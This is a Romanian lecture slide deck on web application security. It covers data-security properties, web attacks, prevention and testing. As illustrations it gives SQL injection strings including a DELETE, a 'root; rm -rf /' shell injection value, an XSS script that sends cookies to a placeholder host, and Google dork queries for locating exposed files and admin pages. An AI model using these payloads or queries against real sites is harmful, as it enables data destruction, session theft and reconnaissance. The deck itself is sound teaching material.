STAW 10/12: Programare Web. API-uri JavaScript în contextul HTML5 (II)
Programare Web (Introducere in securitate)
1. Tehnologii Web 2007
Programare Web
Introducere in securitate
Dr. Sabin-Corneliu Buraga
Facultatea de Informatica
Universitatea “A.I.Cuza” – Iasi, Romania
http://www.infoiasi.ro/~busaco/
1
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
2. Tehnologii Web 2007
cuprins
• Preliminarii
• Aspecte privind securitatea datelor
• Atacuri Web
• Prevenirea & supravietuirea
• Monitorizarea & testarea
• De retinut
2
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
3. Tehnologii Web 2007
preliminarii
• Incident de securitate ≡ eveniment aparut
in cadrul retelei, cu implicatii asupra
securitatii unui calculator sau a retelei
– Provenind din interiorul ori exteriorul retelei
– In cazul nostru, priveste serverul Web,
clientul Web si/sau alte componente software
aditionale (e.g., serverul de stocare a datelor)
• Multe protocoale de baza ale Internetului
(inclusiv HTTP) nu au luat in calcul
vulnerabilitatile ce pot surveni
• Cracker versus hacker
3
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
4. Tehnologii Web 2007
preliminarii
• Vulnerabilitate ≡ slabiciune a unui sistem
hardware/software ce permite utilizatorilor
neautorizati sa aiba acces asupra sa
• Nici un sistem nu este 100% sigur
• Vulnerabilitatile apar si datorita
proastei administrari
4
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
5. Tehnologii Web 2007
preliminarii
• Cauzele existentei vulnerabilitatilor
– Bug-uri (erori) existente in programe
(script-uri, servere Web, navigatoare,...),
introduse deseori neintentionat
– Ignorarea/nedocumentarea bug-urilor existente
(cunoscute)
– Configurarea necorespunzatoare a programelor,
serverelor si retelelor
– Lipsa suportului din partea producatorilor
– Comoditatea sau necunoasterea problemelor
de securitate de catre administrator ori
de conducerea organizatiei
5
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
6. Tehnologii Web 2007
aspecte
• Aspecte privind securitatea datelor:
–Confidentialitatea
–Autentificarea
–Autorizarea
–Integritatea
–Nerepudierea
–Intimitatea (privacy)
–Disponibilitatea
6
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
7. Tehnologii Web 2007
aspecte
• Confidentialitatea
– Imposibilitatea unei terte entitati sa aiba acces
la datele vehiculate intre doi receptori
– Solutii:
• conexiuni private intre cele 2 puncte terminale
ale canalului de comunicatie; datele circula
printr-un tunel oferit de o retea privata
virtuala (VPN – Virtual Private Network)
• criptarea datelor via diverse tehnici
(biblioteci specializate si/sau oferite de
mediile de dezvoltare)
7
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
8. Tehnologii Web 2007
aspecte
• Autentificarea
– Mecanism ce permite utilizatorilor sa acceseze
un serviciu dupa verificarea identitatii
utilizatorului (uzual, pe baza de nume + parola)
– Solutii:
• serverul Web ofera suport pentru autentificari
de baza sau bazate pe algoritmi de tip digest
(e.g., MD5)
• folosirea unor tehnici speciale
la nivel de aplicatie
8
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
9. Tehnologii Web 2007
aspecte
• Autorizarea
– Specifica actiunile (rolurile) pe care un utilizator
le poate realiza; asociata autentificarii
– Se permite administratorului definirea politicilor
de control al accesului la servicii
– Solutii:
• drepturi de acces (permisiuni) + liste de control
al accesului (ACL – Access Control List)
• controlul accesului bazat pe roluri
(RBAC – Role-Based Access Control)
• tehnici de tip SSO (Single Sign-On) – e.g., OpenID
9
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
10. Tehnologii Web 2007
aspecte
• Integritatea
–In acest context, implica detectarea
incercarilor de modificare neautorizata
a datelor transmise
–Solutii:
• algoritmi de tip digest
• semnaturi digitale
10
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
11. Tehnologii Web 2007
aspecte
• Nerepudierea
– Expeditorul mesajului nu poate afirma
ca nu l-a trimis
– Solutie: certificate digitale
• stocheaza datele privind identitatea unei
entitati detinatoare a unui secret (parola, Infrastructura
serie a cartii de credit, certif. digital,…) cu chei publice
(PKI – Public
• emise de o autoritate de certificare
Key
(CA – Certification Authority)
Infrastruc.)
• verificate de o autoritate de inregistrare
(RA – Registration Authority)
11
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
12. Tehnologii Web 2007
aspecte
• Disponibilitatea
–O anumita resursa sa poata fi accesata
la momentul oportun
–Cauze ale indisponibilitatii:
• atacuri de refuz al serviciilor
DoS (Denial Of Service)
• atacuri distribuite
de tip DDoS (Distributed DoS)
12
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
13. Tehnologii Web 2007
aspecte
• Intimitatea
– Confundata, deseori, cu confidentialitatea
– Vizeaza drepturile ce trebuie respectate privind
caracterul (subiectul) datelor vehiculate
– Brese:
• stocarea necorespunzatoare a datelor la nivel
de server (information disclosure)
• atacuri de tip XSS (Cross-Site Scripting)
• atacuri de tip phishing
• configurarea necorespunzatoare a sistemelor
13
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
14. Tehnologii Web 2007
atacuri
• Securitatea Web trebuia sa ia in consideratie:
– Clientul: interactiune, date personale (cookie-uri),
transferuri asincrone (via AJAX),…
– Datele in tranzit: securitatea retelei, schimb sigur
de mesaje, ne-repudiere
– Serverul: securitatea serverului ori serverelor,
securitatea aplicatiilor, disponibilitatea serviciilor
• Atacurile pot viza oricare din cele 3 aspecte!
14
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
15. Tehnologii Web 2007
atacuri
• SQL injection
–Scrierea unor interogari SQL care permit
afisarea, alterarea, stergerea de date
din baze de date via formulare Web ori
direct prin intermediul URI-ului
– Exemplu: select * from studs where name=$name and
pass=$pass cu $name preluat din formular: '' or 1=1 --
– Exemplu: http://www.sit.org/access_client.php?client=3
in script: select credit_card from clients where
client=$client
ce se intimpla daca URI-ul este
http://www.sit.org/access_client.php?client=client ?
dar daca in loc de select era un delete?
15
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
16. Tehnologii Web 2007
atacuri
• SQL injection – variatii
– Crearea de interogari SQL incorecte pentru a avea
acces la mesaje de eroare “interesante”
– Exemplu: http://www.sit.org/prog.php?id=1+OR+gh=1
– Se poate obtine un mesaj precum:
[Microsoft][ODBC SQL Server Driver] [SQL Server]Invalid column name ’gh’.
SELECT group_id, securityName, maxSalesCharge, price,
security_id, trade_date FROM funds
WHERE group_id = 1 OR gh=1 ORDER BY price DESC
– Atacatorul poate continua, de pilda, cu
http://www.sit.org/prog.php?id=1;DELETE+FROM+funds+--
– Solutii: proceduri stocate, neutralizarea
meta-caracterelor SQL, prepared statements,…
16
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
17. Tehnologii Web 2007
atacuri
• Shell command injection
– Posibilitatea de a rula comenzi externe din cadrul
script-urilor CGI
– Exemplu: fie liniile Perl
$utiliz = $form{quot;numequot;};
print `finger $utiliz`;
– Ce se intimpla daca din formular se preia
root; rm –rf / ?
– Idem si pentru programe scrise in alte limbaje
interpretate (e.g., PHP) sau chiar cele C
– poisonous null-byte attack
17
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
18. Tehnologii Web 2007
atacuri
• Cross-Site Scripting (XSS)
– “Injectarea” in cadrul sistemului,
pentru executia direct in browser,
a script-urilor JavaScript/VBScript
• Functioneaza mai ales in cadrul siturilor Web
permitind interactiunea cu utilizatorul
(e.g., forumuri, blog-uri, wiki-uri)
• Poate conduce si la furtul identitatii (phishing)
sau la plasarea de cod malware la client:
Cross-Site Request Forgery
18
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
19. Tehnologii Web 2007
atacuri
• Cross-Site Scripting (XSS)
– Exemplu: <img src=“javascript:cod” />
ce redirectioneaza utilizatorul spre alt sit, preia
valori de cookie-uri ori blocheaza browser-ul
– Alte exemple:
<script>
document.location.replace (
quot;http://www.sit.org/furt.phpquot; + quot;?c=quot; + document.cookie);
</script>
<script>
for (i = 0; i < 3000; i++)
window.open (quot;http://www.sit.org/quot;);
</script>
19
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
20. Tehnologii Web 2007
atacuri
• Cross-Site Scripting (XSS) – variatii
– Folosirea de cod JavaScript pentru a modifica
textul redat de navigatorul Web utilizatorului
– Adoptarea de tehnici de social engineering:
manipularea utilizatorilor de catre atacator
(prin intimidare, santaj, autoritate, flatare,
substitutie de persoana, vanitate etc.)
– Furtul de parole
– Solutii: inhibarea folosirii tag-urilor HTML,
HTML escaping, filtrarea marcatorilor, separarea
prezentarii datelor de procesarea efectiva etc.
20
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
21. Tehnologii Web 2007
atacuri
• O problema o pot cauza URI/IRI-urile
(revezi cursul 1)
– Exemplu: http://www.google.com@63. 241.3.69/
– Codificarea defectuoasa a codurilor hexa
⇒ vulnerabilitati in cadrul unor servere Web
– Includerea caracterelor Unicode – probleme la
decodificarea URL-urilor considerate “sigure”
– Siturile avind domenii internationale
(IDN – International Domain Names)
– atacuri bazate pe homografie
21
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
22. Tehnologii Web 2007
atacuri
• O alta problema: folosirea parolelor
– 93% din procesele de autentificare folosesc parole
– Cu cit utilizatorul trebuie sa retina mai multe
parole, cu atit sistemul de protectie via parole
e predispus la brese in securitate:
• Alegerea unor parole slabe
• Partajarea parolelor (grupuri de prieteni, colegi,...)
• Scrierea parolelor pe hirtie (eventual, la vedere)
• Folosirea unei aceleasi parole timp indelungat,
pentru mai multe aplicatii/sisteme
– Solutii: Single Sign-On (SSO),
identificare biometrica etc.
22
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
23. Tehnologii Web 2007
atacuri
• O alta problema: troienii Web
– Situri (adrese) aparent folositoare
– Se pot folosi in conjunctie cu XSS sau
tehnici de tip social engineering
– Solutie: implementarea unui sistem de tichete
(ticket system) – fiecare actiune ce poate fi
realizata de utilizator are asociat un tichet
(numar) aleatoriu, folosit o singura data
23
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
24. Tehnologii Web 2007
atacuri
• Detectarea posibilelor vulnerabilitati
(datorate unor configuratii incorecte ori
implicite ale serverelor si/sau
aplicatiilor Web) se poate realiza
apelind la un motor de cautare
–Vezi si proiectul “Google Hack” Honeypot:
http://ghh.sourceforge.net/
24
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
25. Tehnologii Web 2007
atacuri
• Exemple de actiuni:
– Detectia versiunilor de programe
avind bug-uri cunoscute: “Apache/2.0.52 server at”
– Accesul la fisiere .bak: inurl:index.php.bak
– Accesarea intranet-ului: intitle:intranet
– “Vinarea” de e-mail-uri:
“@gmail.com” –www.gmail.com
– Detectarea paginilor de administrare: “admin login”
– Gasirea unor instalari implicite:
intitle:”welcome to” intitle:internet IIS
– Localizarea interfetelor spre sistemele
de baze de date: inurl:main.php phpMyAdmin
25
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
26. Tehnologii Web 2007
atacuri
• Exemple de actiuni (continuare):
– Localizarea siturilor bazate pe aplicatii Web
recunoscute ca fiind vulnerabile: inurl:custva.asp
– Cautarea de aplicatii instalate pe diverse masini
sau a fisierelor de jurnalizare:
inurl:error.log +filetype:log –cvs
– Gasirea numelor de utilizatori:
filetype:conf inurl:proftpd.conf –sample
– Cautarea unor mesaje de eroare generate de
aplicatii/servere de baze de date:
“ASP.NET_SessionId” “data source=”
– Vezi si http://johnny.ihackstuff.com/
26
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
27. Tehnologii Web 2007
prevenirea
• Tehnici:
– Nivelul retea: firewall-uri
– Nivel de transport: TLS (Transport Layer
Security) – autentificarea & confidentialitatea
mesajelor HTTP
• Autentificare via certificate digitale
• Confidentialitate via criptare
– Nivel de aplicatie:
securitate persistenta a mesajelor vehiculate
27
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
29. Tehnologii Web 2007
supravietuirea
• Supravietuirea ≡ capacitatea unui sistem
(calculator/retea) de a-si indeplini misiunea, in timp
util, in pofida atacurilor, defectelor sau accidentelor
• Atac ≡ eveniment potential distrugator provocat
intentionat de persoane rau-voitoare
• Defect ≡ eveniment potential distrugator cauzat de
deficiente ale sistemului sau ale unui factor
de care depinde sistemul (e.g., defecte hardware,
bug-uri software, erori ale utilizatorilor)
• Accident ≡ evenimente aleatoare (neprevazute);
exemple: dezastre naturale sau caderi de tensiune
29
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
30. Tehnologii Web 2007
supravietuirea
• Sistemul trebuie sa-si duca pina la capat
misiunea chiar daca unele componente sau
parti din sistem sint afectate ori scoase din uz
– Exemplu: oferirea unei copii read-only
a forumului de discutii sau blog-ului asociat
unui domeniu/produs
• Sistemul trebuie sa sustina macar
indeplinirea functiilor vitale (mission-critical)
– Identificarea serviciilor esentiale
(e.g., acces la lista produselor in cazul unui sit de
comert electronic)
30
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
31. Tehnologii Web 2007
supravietuirea
• Proprietati ale sistemului:
– Rezistenta la atacuri ≡ strategii de respingere
a atacului (i.e. validarea obligatorie a datelor
– via expresii regulate, scheme XML etc., autentificarea
utilizatorilor, acordarea privilegiilor minime)
– Recunoasterea atacurilor si efectelor lor
≡ strategii pentru restaurarea informatiilor, limi-
tarea efectelor, mentinerea/restaurarea serviciilor
compromise
(e.g., recurgerea la ferme de servere Web – Web farms,
RAID, SAN (Storage Area Network), backup-uri,...)
– Adaptarea la atacuri ≡ strategii pentru
imbunatatirea nivelului (sansei) de supravietuire
(invatarea din greseli)
31
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
32. Tehnologii Web 2007
monitorizare & testare
• Teste de verificare a:
– Capacitatii de deservire a clientilor
– Robustetei
– Rularii in situatii extreme
• Se iau in consideratie:
– Tipul navigatorului (+setarile implicite)
– Platforma (hardware, sistem de operare,...)
– Interfata (rezolutia ecranului, adincimea de
culoare, largimea de banda,...)
– Politica de caching (+siguranta proxy-ului)
– Suportul pentru redarea unor tipuri de
documente (securitatea folosirii plugin-urilor)
– Limbajul/limbajele de programare utilizate
(inclusiv, serverul/serverele de aplicatii)
32
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
33. Tehnologii Web 2007
de retinut
• Securitatea unei aplicatii Web:
– Trebuie sa ia in consideratie arhitectura, logica,
codul-sursa si continutul in ansamblu
– Nu vizeaza vulnerabilitatile sistemului de operare
ori ale programelor auxiliare
• Vulnerabilitatile unui sit nu sint “celebre” si
vor fi independente deseori de securitatea
sistemului pe care este exploatat situl
33
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
34. Tehnologii Web 2007
de retinut
• Tipuri de vulnerabilitati specifice:
–Probleme de autentificare
–Managementul sesiunilor
–Injectarea de scripturi (XSS)
ori comenzi SQL
–Expunerea (involuntara) a informatiilor
delicate (information disclosure)
–Accesul la codul-sursa ori la fisierele de
configurare a aplicatiei Web
34
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
35. Tehnologii Web 2007
de retinut
• Riscurile de securitate nu vizeaza numai
proprietarul sitului, ci si utilizatorul final
• Disconforturi cauzate de un sit nesigur:
– Financiare (pierdere de bani/informatii)
– De performanta
(blocarea navigatorului, incetinirea actiunilor,...)
– Psihologice (insatisfactie)
– Sociale (e.g., incapacitatea de munca,
lipsa comunicarii cu partenerii de lucru etc.)
– De timp
(navigare greoaie, deturnare spre alt sit,...)
35
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
36. Tehnologii Web 2007
rezumat
• Preliminarii
• Aspecte privind securitatea datelor
• Atacuri Web
• Prevenirea & supravietuirea
• Monitorizarea & testarea
• De retinut
36
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
37. Tehnologii Web 2007
Intrebari…?
37
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/